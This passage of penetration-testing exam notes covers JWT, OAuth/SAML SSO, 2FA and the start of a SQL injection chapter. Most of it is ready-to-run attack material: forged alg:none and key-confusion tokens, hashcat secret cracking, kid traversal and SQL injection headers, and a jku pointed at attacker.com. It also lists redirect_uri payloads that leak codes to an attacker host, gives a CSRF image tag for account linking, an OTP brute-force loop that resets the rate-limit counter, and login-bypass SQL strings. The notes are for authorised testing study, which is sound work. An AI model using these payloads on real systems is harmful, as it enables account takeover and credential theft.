2.15 Token-Based Authentication

Concept: instead of the server holding session state, it issues a token that carries the state. Scales horizontally, works across domains, suits APIs and SPAs — and moves the trust boundary onto the token's integrity.

Token typeContentsTypical useKey risks
Bearer (opaque)Random string; state lives server-sideREST APIsAnyone holding it is authenticated; leakage = compromise; check for expiry
JWTheader.payload.signature, self-containedSPAs, APIs, microservices, SSOForgery (alg attacks), weak secret, readable claims, revocation is hard
OAuth access tokenGrants scoped resource accessDelegated authorizationLeakage via redirect, over-broad scope, no audience binding
OAuth refresh tokenMints new access tokensLong-lived sessionsNot bound to client; theft = permanent access

Token placement — where to look, and what each implies:

PlacementExampleAssessment
Authorization headerAuthorization: Bearer eyJhbGciOi...Preferred; not in URLs/logs; immune to CSRF
CookieSet-Cookie: auth_token=eyJ...; Secure; HttpOnlySafe from JS if flags set, but re-introduces CSRF exposure
Request body{"token":"eyJ..."} in a POSTAcceptable for POST; never for GET
Query parameter/api/data?access_token=eyJ...Insecure — browser history, server logs, Referer, proxy caches
Custom headerX-Auth-Token: eyJ...Non-standard but seen ~20% of the time; CSRF-resistant
# Harvest tokens from the wire regardless of placement
grep -ioE '(eyJ[A-Za-z0-9_-]+\.){2}[A-Za-z0-9_-]+' burp_history.txt     # JWTs anywhere
# Check whether an API accepts the token in a weaker placement than intended
curl -si "http://target/api/profile?access_token=$TOKEN"          # query param accepted?
curl -si http://target/api/profile -H "X-Auth-Token: $TOKEN"      # alternate header accepted?
curl -si http://target/api/profile -H "Cookie: token=$TOKEN"      # cookie accepted?

Exam tips

  • First thing to try: find where the token rides, then try every other placement. Accepting the token in a query string is a finding on its own.
  • Common trap: assuming a long opaque string is a JWT. Only xxx.yyy.zzz with base64url segments is a JWT — decode the first segment to confirm {"alg":...,"typ":"JWT"}.
  • What proves the finding: the protected resource returned for a token supplied in an insecure location, or for a token that should have expired.

2.16 JWT Structure & Claims

Format: base64url(header) . base64url(payload) . base64url(signature)

Order matters: the signature is computed over header.payload, so any change to either invalidates it — if the server checks.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwibmFtZSI6IkFsaWNlIiwiYWRtaW4iOnRydWV9.dBjftJeZ4CVP...
└────────── header ──────────┘ └──────────── payload ─────────────┘ └── signature ──┘

Header parameters — each is an attack surface:

ParameterMeaningAbuse
algSigning algorithmnone, or HS256↔RS256 confusion
typToken type (JWT)Usually inert
kidKey ID — tells the server which key to usePath traversal, SQLi, command injection into key lookup
jkuURL of a JWKS containing the public keyPoint it at an attacker-hosted JWKS
jwkPublic key embedded in the token itselfEmbed your own key and self-sign
x5u / x5cX.509 cert URL / cert chainSame as jku/jwk, with certificates
ctyContent type of the payloadNested-JWT confusion

Algorithms:

algFamilyKey modelSecurity note
none—No signatureAlways a finding if accepted
HS256 / HS384 / HS512HMAC-SHASymmetric — same secret signs and verifiesCrackable if the secret is weak
RS256 / RS384 / RS512RSA PKCS#1 v1.5Asymmetric — private signs, public verifiesPublic key is, by design, public → confusion attacks
PS256 / PS384 / PS512RSA-PSSAsymmetricAs above
ES256 / ES384 / ES512ECDSAAsymmetricNonce-reuse / psychic-signature implementation bugs
EdDSAEd25519/Ed448AsymmetricModern, fewer footguns

Registered claims (payload):

ClaimNameMeaningAttack relevance
issIssuerWho minted the tokenSpoof to a trusted issuer
subSubjectUsually the user idChange to impersonate
audAudienceIntended recipientMissing check → token replay across services
expExpirationUnix timestampExtend it; or check whether it is enforced at all
nbfNot beforeUnix timestampToken valid from a future time
iatIssued atUnix timestampAge checks, replay windows
jtiJWT IDUnique id for revocationMissing → no replay protection

Public claims (developer-defined, must not collide with registered names): role, email, permissions, groups, scope, admin. Private claims (agreed between two parties): department, cart_id, tenant, flag.

The payload is base64url-encoded, not encrypted. Anything placed there is readable by anyone holding the token — this is the "exposed claims" class of finding: passwords, API keys, PII, internal hostnames, flags.

# Decode header and payload from the shell. tr converts base64url -> base64;
# the appended '==' supplies padding that base64url strips (extra padding is ignored).
JWT='eyJhbGciOiJIUzI1NiJ9.eyJpZCI6Miwicm9sZSI6InVzZXIifQ.sig'
echo -n "$JWT" | cut -d. -f1 | tr '_-' '/+' | base64 -d 2>/dev/null; echo
echo -n "$JWT" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null; echo
# Pretty-print the payload
echo -n "$JWT" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | jq .
# jwt_tool: decode and display every claim with timestamps humanised
python3 jwt_tool.py "$JWT"
# jwt.io — paste the token into "Encoded"; header, payload and signature-verification
# status are shown live. "Invalid Signature" is expected and fine when you are only
# verifying that your forged header/payload decode correctly.
# Do not paste real production tokens into a third-party site.
# Burp: JSON Web Tokens / JWT Editor extension (BApp Store) adds a "JSON Web Token"
# tab to Repeater, decoding and re-encoding the token in place as you edit it.

Exam tips

  • First thing to try: decode the payload immediately and read every claim. The lab answer is sometimes literally sitting in a flag claim (exposed-claims lab).
  • Common trap: base64 -d erroring with "invalid input" on a JWT segment. That is base64url padding, not a broken token — tr '_-' '/+' and add ==, or use jwt_tool/jwt.io.
  • What proves the finding: the decoded payload itself for exposed claims; for forgery, a server response accepting a token you signed or unsigned.

2.17 JWT Attacks

Run these in order — cheapest and most likely first.

2.17.1 alg: none (unsigned token accepted)

Why it works: the none algorithm exists in the spec for tokens whose integrity is guaranteed elsewhere. Libraries that honour the token's own alg header will therefore skip signature verification when told to. The server's own tokens may be perfectly signed with HS256 — that does not mean it rejects none on input. That is precisely the test.

# 1. Obtain a legitimate token
curl -s -H 'Content-Type: application/json' -X POST \
  -d '{"identifier":"elliot","password":"ElliotAlderson"}' \
  http://10.0.0.3:1337/auth/local | jq -r .jwt
# 2. Forge the header with alg=none, base64url-encode, strip '=' padding
echo -n '{"typ":"JWT","alg":"none"}' | base64 -w0 | tr '+/' '-_' | tr -d '='
# 3. Forge the payload — here escalating the user id to the admin account (id 1)
echo -n '{"id":1,"iat":1735000000,"exp":1799999999}' | base64 -w0 | tr '+/' '-_' | tr -d '='
# 4. Assemble as header.payload.  The TRAILING DOT IS MANDATORY — three parts, empty third.
FORGED="$HEADER.$PAYLOAD."
# 5. Replay against a privileged endpoint (here: create an admin user)
curl -s -X POST http://10.0.0.3:1337/users \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $FORGED" \
  -d '{"username":"test","email":"test@test.com","password":"password","role":1}' | jq .
# jwt_tool one-liner for the same attack (-X a = alg:none exploit, emits all case variants)
python3 jwt_tool.py "$JWT" -X a

Also try the case variants — filters that blacklist the literal string none often miss them: None, NONE, nOnE. And try an empty signature with the original alg (-X n in jwt_tool), which catches libraries that verify only when a signature is present.

2.17.2 Algorithm confusion (RS256 → HS256)

Why it works: the server holds an RSA key pair and calls a generic verify(token, key). If you change alg to HS256, that same function now treats the RSA public key as an HMAC secret. The public key is published — so you can produce a valid HMAC signature the server will accept.

# 1. Obtain the public key. From a JWKS endpoint:
curl -s http://target/.well-known/jwks.json | jq .
curl -s http://target/jwks.json -o jwks.json
# 2. ...or straight off the TLS certificate
openssl s_client -connect target:443 </dev/null 2>/dev/null \
  | openssl x509 -pubkey -noout > public.pem
# 3. Forge with jwt_tool: -X k performs key confusion using the supplied public key
python3 jwt_tool.py "$JWT" -X k -pk public.pem
# 4. Manual route: HMAC-sign header.payload using the RAW BYTES of the public key file as the key
HEADER=$(echo -n '{"alg":"HS256","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"sub":"admin","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
SIG=$(echo -n "$HEADER.$PAYLOAD" \
  | openssl dgst -sha256 -mac HMAC -macopt hexkey:$(xxd -p public.pem | tr -d '\n') -binary \
  | base64 -w0 | tr '+/' '-_' | tr -d '=')
echo "$HEADER.$PAYLOAD.$SIG"

Gotcha: the exact byte representation of the key matters (PEM with/without trailing newline, DER, X.509 SPKI vs PKCS#1). If the first attempt fails, retry with the variants — jwt_tool generates several automatically.

2.17.3 Weak secret cracking (HS256)

Why it works: HMAC security is entirely the secret's entropy. Developers ship secret, changeme, the framework default, or a short passphrase.

# hashcat mode 16500 = JWT (HMAC-SHA256/384/512). Feed the whole token.
echo "$JWT" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 jwt.txt jwt-secrets.txt --show      # display a previously cracked result
# jwt_tool dictionary attack against the signature
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
# Re-sign with the recovered secret and a tampered payload
python3 jwt_tool.py "$JWT" -T -S hs256 -p 'secret'
# -T tamper mode prompts for claim edits; -S sets the algorithm; -p supplies the key
# Targeted wordlist of common JWT secrets
git clone https://github.com/wallarm/jwt-secrets /tmp/jwt-secrets
hashcat -a 0 -m 16500 jwt.txt /tmp/jwt-secrets/jwt.secrets.list

2.17.4 kid injection

Why it works: kid is an unvalidated string the server uses to locate a key — as a filename, a DB lookup, or worse.

{"alg":"HS256","typ":"JWT","kid":"../../../../../dev/null"}
Signing key becomes the contents of /dev/null = empty string.
Sign the token with an EMPTY secret and the server verifies it successfully.
{"alg":"HS256","typ":"JWT","kid":"/proc/sys/kernel/randomize_va_space"}
A file with known, static, single-byte content ("2\n") used as the HMAC secret.
{"alg":"HS256","typ":"JWT","kid":"nonexistent' UNION SELECT 'attackerkey'-- "}
SQL injection into the key lookup returns a key value you chose; sign with 'attackerkey'.
# jwt_tool: tamper mode lets you edit header claims (kid) interactively, then sign
python3 jwt_tool.py "$JWT" -T
# Choose to modify header claims -> set kid -> then select signing with your chosen key

2.17.5 jwk / jku header injection (self-signed keys)

jwk — embed your own public key in the token. Servers that trust the embedded key verify your self-signed token.

{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","n":"<your-modulus>","kid":"attacker"}}
# jwt_tool -X i injects a self-generated inline JWKS and signs with the matching private key
python3 jwt_tool.py "$JWT" -X i

jku — point the server at a JWKS you host.

{"alg":"RS256","typ":"JWT","kid":"attacker","jku":"https://attacker.com/jwks.json"}
# jwt_tool -X s spoofs a JWKS; -ju gives the URL where you will host the generated jwks.json
python3 jwt_tool.py "$JWT" -X s -ju https://attacker.com/jwks.json
python3 -m http.server 443   # serve the generated jwks.json from that URL

Bypassing a jku allow-list (server only accepts its own domain): chain an open redirect or SSRF — jku": "https://target.com/redirect?url=https://attacker.com/jwks.json" — and try the same host-confusion payloads listed in 2.18.

2.17.6 Claim tampering & other checks

# Escalate role / identity, then re-sign (alg:none, cracked secret, or confusion)
python3 jwt_tool.py "$JWT" -I -pc role -pv admin          # -I inject; -pc claim; -pv value
python3 jwt_tool.py "$JWT" -I -pc sub  -pv 1
python3 jwt_tool.py "$JWT" -I -pc exp  -pv 2000000000     # extend expiry far into the future
python3 jwt_tool.py "$JWT" -I -hc kid  -hv '../../dev/null'   # -hc/-hv edit HEADER claims
# Full automated scan of every known JWT weakness against a live endpoint
python3 jwt_tool.py -t http://target/api/profile -rh "Authorization: Bearer $JWT" -M at
# -t target URL, -rh request header to inject the token into, -M at = run All Tests
# Is exp enforced at all? Replay an expired token.
python3 jwt_tool.py "$JWT" -I -pc exp -pv 1000000000 -S hs256 -p 'secret'

Full JWT triage checklist:

#TestPositive result
1Decode payloadSensitive data / flag / role claim present
2Strip signature, alg:none (+ case variants)Accepted → total forgery
3Empty signature, original algAccepted → total forgery
4Tamper payload, keep original signatureAccepted → no verification at all
5Crack HS secret (hashcat 16500)Secret recovered → arbitrary tokens
6RS256 → HS256 confusion with public keyAccepted → arbitrary tokens
7kid traversal / SQLiAccepted → arbitrary tokens
8jwk / jku / x5u injectionAccepted → arbitrary tokens
9Expired token replayAccepted → no exp enforcement
10Token from service A used on service BAccepted → no aud validation
11Token still valid after logoutAccepted → no revocation

Exam tips

  • First thing to try: decode, then alg:none. Two minutes, and it is the single most common JWT flaw in training labs and APIs.
  • Common trap: dropping the trailing dot when removing the signature. header.payload (two parts) is malformed and gets rejected for the wrong reason; header.payload. (three parts, empty third) is what you want. Second trap: concluding the server is safe because the tokens it issues use HS256 — you are testing what it accepts.
  • What proves the finding: a privileged action (create user, read another account, retrieve a flag) performed with a token you constructed, plus the decoded forged payload showing the escalated claim.

2.18 OAuth 2.0 & SSO Attacks

Roles:

RoleAlso calledWho it is
Resource ownerEnd userThe person granting access
ClientRelying partyThe third-party app requesting access
Resource serverAPIHosts the protected data
Authorization serverIdentity Provider (IdP)Authenticates the user, issues tokens
User agent—Browser or mobile app carrying the redirects

Grant types:

GrantFlowWhere the token appearsSecurity posture
Authorization codeRedirect → code → back-channel exchange for tokenToken never touches the browserBest; mandatory with PKCE for public clients
Authorization code + PKCEAdds code_verifier/code_challengeAs aboveProtects against code interception
ImplicitToken returned directly in the URL fragment#access_token=... in the browserDeprecated — token leaks via history, Referer, JS
Resource owner password credentialsClient collects username+password directlyBodyDefeats the purpose of delegation; legacy only
Client credentialsClient authenticates as itselfBodyMachine-to-machine; no user involved
Refresh tokenExchange refresh for a new access tokenBodyLong-lived; theft = persistent access

Parameters to know:

ParameterWherePurposeAttack
client_idAuth requestIdentifies the clientEnumerate; reuse another client's id
redirect_uriAuth requestWhere the code/token is sentPrimary attack surface — redirect to attacker
response_typeAuth requestcode / token / id_tokenDowngrade code → token to force implicit leakage
scopeAuth requestPermissions requestedEscalate scope; check server-side enforcement
stateAuth request → callbackCSRF protection, binds request to sessionMissing/unvalidated → OAuth CSRF / account linking
nonceOIDCReplay protection for id_tokenMissing → token replay
codeCallbackShort-lived authorization codeReuse, no expiry, not bound to client
code_challenge / code_verifierPKCEBinds the code to the initiatorAbsent on a public client = interceptable code

Attack 1 — redirect_uri manipulation. The auth server must match redirect_uri exactly against a registered value. Weak matching sends the code or token to you.

# Baseline request to tamper with:
https://idp.com/authorize?client_id=ABC&response_type=code&redirect_uri=https://app.com/callback&scope=profile&state=xyz
# Payloads, in order of likelihood:
redirect_uri=https://attacker.com                       # no validation at all
redirect_uri=https://app.com.attacker.com               # prefix match only
redirect_uri=https://attacker.com/app.com               # suffix/substring match
redirect_uri=https://app.com@attacker.com               # userinfo confusion
redirect_uri=https://attacker.com#.app.com              # fragment truncation
redirect_uri=https://attacker.com?x=.app.com            # query truncation
redirect_uri=https://app.com/callback/../../evil        # path traversal
redirect_uri=https://app.com/callback%2f%2e%2e%2fevil   # encoded traversal
redirect_uri=https://app.com/redirect?url=https://attacker.com   # chained open redirect
redirect_uri=http://localhost:1337/callback             # localhost often allow-listed
redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com   # parameter pollution
# Harvest the leaked code/token on the attacker side
python3 -m http.server 80        # the callback lands in the access log: GET /?code=...
# Exchange a stolen authorization code for an access token
curl -s -X POST https://idp.com/token \
  -d 'grant_type=authorization_code' \
  -d 'code=<stolen-code>' \
  -d 'redirect_uri=https://app.com/callback' \
  -d 'client_id=ABC' -d 'client_secret=<if-public-or-known>'

Attack 2 — missing/unvalidated state (OAuth CSRF / forced account linking). Without state, the callback is just a URL the attacker can make the victim visit, binding the attacker's IdP account to the victim's application account.

# 1. Attacker starts an OAuth flow with their own IdP account and captures the callback URL,
#    stopping before it is delivered:
https://app.com/callback?code=ATTACKER_CODE
<!-- 2. Force the victim's authenticated browser to complete the attacker's flow -->
<img src="https://app.com/callback?code=ATTACKER_CODE" width="0" height="0">
# 3. The victim's app account is now linked to the attacker's Google/GitHub identity.
#    The attacker logs into the victim's account via "Sign in with Google".

Test for it by removing state entirely, by reusing a previously seen state value, and by supplying a state from a different session — if the flow completes, it is unvalidated.

Attack 3 — implicit flow token leakage. The token sits in the URL fragment, so it reaches the browser, its history, and any JavaScript on the page.

https://app.com/callback#access_token=eyJ...&token_type=bearer&expires_in=3600
Leak paths: browser history; Referer on subsequent navigations; any third-party JS on the
callback page reading location.hash; open redirect on the client that preserves the fragment.
# Downgrade test: does the auth server honour response_type=token when the client uses code?
curl -si "https://idp.com/authorize?client_id=ABC&response_type=token&redirect_uri=https://app.com/callback"

Other OAuth weaknesses to check (as enumerated in the course slide deck):

WeaknessTest
Unvalidated redirect_uriAs above
Weak authorization codesShort/sequential/guessable code values
Everlasting codesReplay a code hours later — should expire in ~60s
Codes not bound to a clientRedeem a code issued for client A using client B's client_id
Code reuseRedeem the same code twice — should be single-use
Weak handle-based access/refresh tokensLow entropy, guessable
Insecure storage of tokenslocalStorage, URL, logs, client-side source
Refresh token not bound to clientUse client A's refresh token with client B's credentials
Scope escalationAdd scope=admin/extra scopes and see if the IdP grants them
client_secret disclosureSearch JS bundles, mobile APKs, git history
# Discover the IdP's configuration and endpoints
curl -s https://idp.com/.well-known/openid-configuration | jq .
curl -s https://idp.com/.well-known/oauth-authorization-server | jq .
# Hunt for client secrets left in front-end code
curl -s https://app.com/static/js/main.js | grep -iE 'client_secret|client_id|api[_-]?key'

SAML-based SSO (for completeness): the assertion is signed XML delivered as base64 in a SAMLResponse POST parameter. Test for signature exclusion (strip <ds:Signature>), XML signature wrapping (duplicate the assertion so the signed one is validated and the unsigned one is consumed), and comment injection in NameID (admin<!---->@evil.com). Burp's SAML Raider extension automates all three.

Exam tips

  • First thing to try: copy the /authorize URL into Repeater and change redirect_uri to a host you control. If the auth server issues a 302 to your host, the flow is broken.
  • Common trap: confusing the implicit flow's fragment (#access_token=) with a query parameter. A fragment never reaches the server, so server-side logs will not show it — you need JavaScript or the browser to capture it.
  • What proves the finding: an authorization code or access_token arriving in your server's access log, and — better — that credential successfully exchanged for, or used against, the resource server.

2.19 2FA / OTP Attacks

2FA types and their weak points:

TypeDeliveryWeaknesses
SMS OTPText to registered numberSIM swap, SS7 interception, smishing, no rate limit
Email OTPCode or magic linkEmail account compromise, very long validity windows (hours)
TOTPApp-generated, 30-second windowRequires the shared secret; phishing-relay; seed disclosure at enrolment
Push approvalApprove/deny promptMFA fatigue / push bombing
Hardware tokenFIDO2 / U2FStrongest; phishing-resistant
Backup codesStatic listWeak generation, enumerable, no rate limit

Testing methodology (run in this order):

  1. Information gathering — which 2FA type; the enrolment, login and recovery flows; code length; validity window; whether the code is 4, 6 or 8 digits.
  2. OTP strength — is it predictable, sequential, or derived from a timestamp? Request several codes and compare.
  3. Expiry — does the code die after use? After N minutes? Reuse an old one.
  4. Replay — capture a valid OTP and submit it a second time, and in a different part of the app (login vs. payment confirmation).
  5. Rate limiting / lockout — brute force the code space; count how many attempts the endpoint tolerates.
  6. Response manipulation — is verification decided client-side?
  7. Flow manipulation — can the 2FA step simply be skipped?
  8. Transport — is the OTP sent over an encrypted channel? Can it be intercepted?

Attack 1 — OTP brute force (no rate limit). A 4-digit OTP is 10,000 candidates; a 6-digit one is 1,000,000. If there is no rate limit and no expiry, the 4-digit space falls in minutes.

OWASP ZAP Fuzzer workflow (the lab's chosen tool — ZAP's fuzzer is NOT throttled,
unlike Burp Community's Intruder):

1. Manual Explore > browse the OTP page through ZAP's browser so the request is recorded
2. Sites tree > find POST /dev/verify > right-click > Attack > Fuzz...
3. Highlight the OTP parameter value > Add... (this becomes the fuzz location)
4. Payloads > Add > Type: Numberzz
     Start: 1000   End: 9999   Increment: 1
5. Message Processors > Add > Tag Creator
     Tag name: failed        Match regex: failed
6. Start Fuzzer
7. Sort/filter by the State column and by response-header Size.
   The one row WITHOUT the "failed" tag is the valid OTP.
   A successful verification also typically returns a NEW Set-Cookie (an
   authenticated session ID) — that header's presence is the real signal.
# ffuf equivalent for a 4-digit numeric OTP
seq -w 0000 9999 > otps.txt
ffuf -w otps.txt -u http://target/dev/verify -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: session_id=<current>" \
  -d "session_id=<current>&otp=FUZZ" -fr "failed" -t 50
# 6-digit space; -rate throttles if you need to stay under a detected limit
seq -w 000000 999999 > otps6.txt
ffuf -w otps6.txt -u http://target/verify -X POST -d "code=FUZZ" -fr "Invalid" -rate 100
# Burp Intruder: Sniper on the OTP parameter, Payload type = Numbers,
#   From 0  To 9999  Step 1  Min integer digits 4  Max integer digits 4
#   (Min/Max integer digits preserve leading zeros — essential for OTPs.)
# Settings > Resource pool > raise "Maximum concurrent requests" (Pro only).

Attack 2 — rate-limit bypass. If a limit exists, the 2.7 toolkit applies directly: rotate X-Forwarded-For; request a fresh OTP every N attempts (the counter often resets with the new code); change case/format of the identifier; switch to the API endpoint; send attempts in a parallel burst to race the counter; null-byte or array the parameter (otp[]=0000).

# Reset-the-counter pattern: re-request the OTP every 5 guesses so the counter never trips
for i in $(seq 0 9999); do
  [ $((i % 5)) -eq 0 ] && curl -s -X POST http://target/send -d "phone=123456789" >/dev/null
  printf -v code '%04d' "$i"
  r=$(curl -s -X POST http://target/verify -d "otp=$code")
  case "$r" in *failed*) ;; *) echo "VALID OTP: $code"; break;; esac
done

Attack 3 — response manipulation. Verification decided by a value in the response body that the client then acts on.

# Intercept the RESPONSE (Burp > Proxy > Options > Intercept responses, or
# right-click the request > "Do intercept" > "Response to this request") and flip it:
{"status":"failed","verified":false}   ->   {"status":"success","verified":true}
HTTP/1.1 401 Unauthorized              ->   HTTP/1.1 200 OK
{"otp_valid":0}                        ->   {"otp_valid":1}

Attack 4 — 2FA step skipping / flow manipulation.

# After submitting valid credentials but BEFORE submitting the OTP, request the
# post-login resource directly. If it renders, the 2FA step is not enforced server-side.
curl -si http://target/dashboard -H "Cookie: session=<pre-2FA-session>"
# Other variants:
#  - Change the response's redirect target from /verify-otp to /dashboard
#  - Remove the otp parameter entirely from the verify request
#  - Submit the 2FA request for a DIFFERENT user id while holding your own session (IDOR)
#  - Complete 2FA once, then reuse the resulting "2fa_passed=true" cookie for other accounts

Attack 5 — OTP reuse & no expiry. Submit a code that was already consumed; submit a code issued 30+ minutes earlier; submit a code issued for a different action (login code used to confirm a transfer).

Attack 6 — predictable OTPs. Collect 20 codes and look for sequence, small deltas, or a timestamp relationship.

# Harvest codes (where the lab exposes them) and check for a pattern
for i in $(seq 1 20); do curl -s -X POST http://target/send -d 'phone=123456789'; done
# then inspect the delivered codes for monotonic increase or a constant delta

Exam tips

  • First thing to try: count the digits. A 4-digit OTP with no observed rate limit is a fuzzing job, not a cleverness job — go straight to ZAP's Fuzzer or ffuf.
  • Common trap: using Burp Community's Intruder for a 10,000-payload OTP attack. At ~1 request/second that is nearly three hours. Switch tools. Second trap: missing the success signal — a valid OTP often returns the same body length but adds a Set-Cookie header; watch the headers, not just the body.
  • What proves the finding: an authenticated session (new Set-Cookie, dashboard content, flag) obtained after an automated OTP search, together with the attempt count demonstrating the absence of rate limiting.

2.20 Rapid Exam Checklist

#CheckCommand / actionTime
1Fingerprint app + versioncurl -sI, changelog.txt, searchsploit <product> <ver>2 min
2Public auth bypass exists?searchsploit -m ... and read the PoC3 min
3Forced browsingrequest /admin etc. with no cookies2 min
4Cookie diff pre/post logincompare Set-Cookie; note flags2 min
5Decode every cookiebase64 -d; flip admin/role/id3 min
6Session ID regenerated on login?same value before/after → fixation1 min
7JWT present?decode payload; alg:none; crack secret; confusion10 min
8Username enumerationIntruder Sniper + Grep-Match on reset form5 min
9Lockout threshold60 junk passwords, watch Length flip3 min
10Dictionary attackIntruder / hydra / ffuf, sort by Length10 min
11SQLi login bypassadmin'-- , ' OR 1=1-- in the username field2 min
12CSRF on state-changing requestsBurp "Generate CSRF PoC", drop the token5 min
13OAuth redirect_uri / statepoint at your host; strip state5 min
14OTP brute forceZAP Fuzzer / ffuf over the code space10 min
15Logout & expiryreplay the token after logout1 min

Tooling reminders that cost people the exam: Burp Community throttles Intruder to ~1 req/s — use ZAP Fuzzer, ffuf, wfuzz or hydra for anything large. Sort Intruder results by Length first, status second. Always check the response headers (Set-Cookie, Location) and not only the body. Keep a running table of condition → result for every test (valid user/wrong pass/right CAPTCHA, etc.) — the differential is the finding.


3. SQL Injection

SQLi is the single highest-yield topic on the eWPTX exam. This section is ordered as an attack chain: detect → fingerprint DBMS → count columns → find reflected columns → enumerate schema → extract data → escalate to file read/write/RCE. Work top-to-bottom.

3.1 Fundamentals: What SQLi Is and Where It Occurs

SQL injection is an injection class vulnerability (OWASP Top 10 2017 = A1, 2021 = A03), not an input-validation class one. The DBMS is not the bug — the DBMS faithfully executes whatever the application hands it. The bug is at the point of concatenation in the application.

Three prerequisites for exploitable SQLi:

  1. An application input exists (form field, URL param, header, cookie, JSON/XML body, file upload metadata).
  2. That input reaches a SQL query (the app interacts with a database using it).
  3. The input is concatenated into the query without parameterisation/sanitisation.

Canonical vulnerable pattern:

// Vulnerable: user input concatenated directly into the query string
$q = "SELECT * FROM users WHERE username='" . $_POST['user'] . "' AND password='" . $_POST['pass'] . "'";

Injecting admin' OR '1'='1'-- - into user yields:

-- Resulting query: password check is commented out, OR 1=1 is always true
SELECT * FROM users WHERE username='admin' OR '1'='1'-- -' AND password=''

3.1.1 String-based vs Integer-based injection

This distinction dictates every payload you write.

TypeBackend query shapePayload must start withExample
Integer-based... WHERE id=$inputnothing (no quote needed)1 OR 1=1-- -
String-based... WHERE name='$input'' (terminate the string literal)x' OR '1'='1'-- -
Double-quoted string... WHERE name="$input""x" OR "1"="1"-- -
Bracketed / wrapped... WHERE id=('$input')')x') OR ('1'='1'-- -
LIKE clause... WHERE t LIKE '%$input%'%'%' OR '1'='1'-- -

Detect which one you are in by observing the reflected query in error output, or by testing arithmetic: on an integer param, 2-1 returning the same page as 1 proves numeric evaluation. On a string param it will not.

3.1.2 Impact

CIA pillarSQLi impact
ConfidentialityMass disclosure of credentials, PII, payment data
IntegrityUPDATE/DELETE/INSERT via stacked queries or second-order writes
AvailabilityHeavy queries / resource exhaustion / destructive writes take the app down
AuthenticationLogin bypass, privilege escalation to admin accounts
HostFile read/write → webshell → RCE (xp_cmdshell, INTO OUTFILE, COPY FROM PROGRAM, UDF)

Exam tips

  • Always establish string vs integer before spraying payloads. Wrong quoting is the #1 reason a valid payload "fails".
  • The DBMS runs as some account. Escalation to file read/RCE depends entirely on that account's privileges (FILE in MySQL, sysadmin in MSSQL, superuser in PostgreSQL) — check with --is-dba / --privileges early.
  • Test one payload at a time. If you change two things you cannot attribute the result.

3.2 Types of SQL Injection

SQL Injection
├── In-band (same channel used for injection and for results)
│   ├── Error-based       → DBMS error message carries the data
│   └── Union-based       → UNION SELECT appends attacker rows to the visible result set
├── Inferential / Blind (no data returned; infer 1 bit at a time)
│   ├── Boolean-based     → page content differs between TRUE and FALSE conditions
│   └── Time-based        → response latency differs between TRUE and FALSE conditions
└── Out-of-Band (OOB)     → data exfiltrated over a second channel (DNS / HTTP / SMB)
SubtypeSignal you look forSpeedTypical use
Error-basedVerbatim DBMS error containing your valueFast (1 value per request)Confirm + fingerprint + extract
Union-basedExtra rows/columns rendered on the pageFastest (bulk rows per request)Bulk dump
Boolean-blindTwo distinguishable page states (e.g. "post exists" vs blank page)Slow (~1 bit per request, ~7-8 req/char with binary search)No errors, no reflection
Time-blindResponse delay ≈ N secondsSlowestNo errors, no reflection, no content diff
OOBDNS/HTTP hit on your listenerFastNo response channel at all; also great for second-order

Exam tips

  • These are not mutually exclusive. One parameter is frequently vulnerable to boolean-blind and time-blind and union-based; sqlmap will report all of them. Pick the fastest one that works (union > error > boolean > time).
  • "Blind" ≠ "the app shows nothing". It means the database result itself is not rendered. A blank page vs a populated page is still a perfectly good oracle.

3.3 Hunting for SQLi — Where to Look

Enumerate the attack surface first (spider/crawl with Burp or ZAP), classify every input, then test only the ones that plausibly touch a database.

LocationHow it looksNotes
GET parameters/product.php?id=5, ?cat=books&sort=ascHighest hit rate. Always URL-encode payloads (Ctrl+U in Burp).
POST body paramsuser=x&pass=y in the request bodyNot visible in the URL — you need a proxy. Use Repeater.
Login formsusername/passwordClassic auth bypass target.
Search boxesq=, words_all=, words_exact=Often maps to LIKE '%...%' or MATCH ... AGAINST (... IN BOOLEAN MODE).
Registration / contact / comment fieldsStored textPrime second-order candidates.
Hidden form fields<input type="hidden" name="ref" value="...">Devs assume they are untouchable.
CookiesCookie: TrackingId=abc; PHPSESSID=...sqlmap --level 2.
HTTP headersUser-Agent, Referer, X-Forwarded-For, Host, custom X-*Logged into a DB by analytics/WAF code. sqlmap --level 3 (UA/Referer), --level 5 (Host).
JSON bodies{"id":"5"}Mark point with * in a saved request; sqlmap handles JSON.
XML / SOAP bodies<id>5</id>Same — mark with *. Watch for XXE at the same time.
Multipart / file uploadfilename="x.jpg", field valuesFilename often stored in a DB row.
REST path segments/api/v1/user/5Mark as /api/v1/user/5* for sqlmap.

Not every input touches the database. Do recon first — categorise inputs, then prioritise by likelihood of DB interaction (anything that looks up, searches, filters, sorts, authenticates, or stores).

Exam tips

  • If the form has no visible parameter in the URL, it is a POST — intercept it. Never conclude "no injectable parameter" from the address bar.
  • ORDER BY / sort= parameters are injectable but cannot be quoted-escaped in the same way — they sit outside a string literal. Use ORDER BY (CASE WHEN (1=1) THEN name ELSE id END) style or stack a boolean oracle.
  • Header-based SQLi (especially User-Agent) is an explicitly covered exam scenario. If body/URL params are clean, escalate --level.

3.4 Manual Detection

Run this ladder on every candidate parameter, one payload at a time.

3.4.1 Step 1 — Break the syntax (special characters)

'              # single quote: terminates a string literal
"              # double quote
`              # MySQL identifier quote
')             # closes quote + paren
'))            # closes quote + two parens
\              # backslash: may escape the app's own escaping
;              # statement terminator
%27            # URL-encoded single quote

Any 500, stack trace, "database error", or changed page = candidate.

3.4.2 Step 2 — Prove it is SQL, not a crash (repair the syntax)

'              # breaks  -> error
''             # repairs -> page returns to normal   (strong SQLi signal)
'||'           # Oracle/PostgreSQL concat -> normal page
' 'x           # MySQL literal concatenation

3.4.3 Step 3 — Arithmetic (integer params)

# id=3 and id=4-1 return the same record => numeric context, injectable
/product?id=4-1
/product?id=2*2
